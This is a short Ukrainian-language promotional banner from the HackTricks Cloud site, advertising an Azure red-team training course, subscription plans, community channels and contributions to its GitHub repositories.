Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

